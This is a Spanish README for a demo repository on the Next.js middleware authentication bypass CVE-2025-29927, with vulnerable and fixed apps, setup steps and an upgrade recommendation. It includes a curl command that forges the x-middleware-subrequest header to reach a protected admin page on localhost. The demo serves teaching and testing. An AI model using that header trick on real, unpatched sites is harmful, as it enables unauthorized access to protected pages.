
Demostración de Next.js CVE-2025-29927
Este repositorio contiene una demostración de la vulnerabilidad CVE-2025-29927 en Next.js, que afecta a las versiones 15.2.2 y anteriores. La vulnerabilidad permite a los atacantes omitir las comprobaciones de autenticación del middleware estableciendo una cabecera x-middleware-subrequest.
Este es un monorepo NX que contiene dos aplicaciones Next.js:
En versiones de Next.js anteriores a la 15.2.3, existe una vulnerabilidad de seguridad en la implementación del middleware. El middleware no valida correctamente el origen de la cabecera x-middleware-subrequest, lo que permite a los atacantes falsificar esta cabecera y omitir las comprobaciones de autenticación basadas en middleware.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
La aplicación vulnerable estará disponible en http://localhost:3000.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
La aplicación corregida estará disponible en http://localhost:3001.
También puedes ejecutar las aplicaciones con Docker:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
Con la versión vulnerable (15.2.2), podrás acceder a la página de administración sin autenticación añadiendo la cabecera x-middleware-subrequest.
Con la versión corregida (15.2.3), el middleware valida correctamente el origen de esta cabecera y seguirás siendo redirigido a la página de inicio de sesión.
Para fines de demostración, puedes iniciar sesión con:
adminpassword123Si usas Next.js en producción, asegúrate de actualizar a la versión 15.2.3 o posterior para protegerte contra esta vulnerabilidad.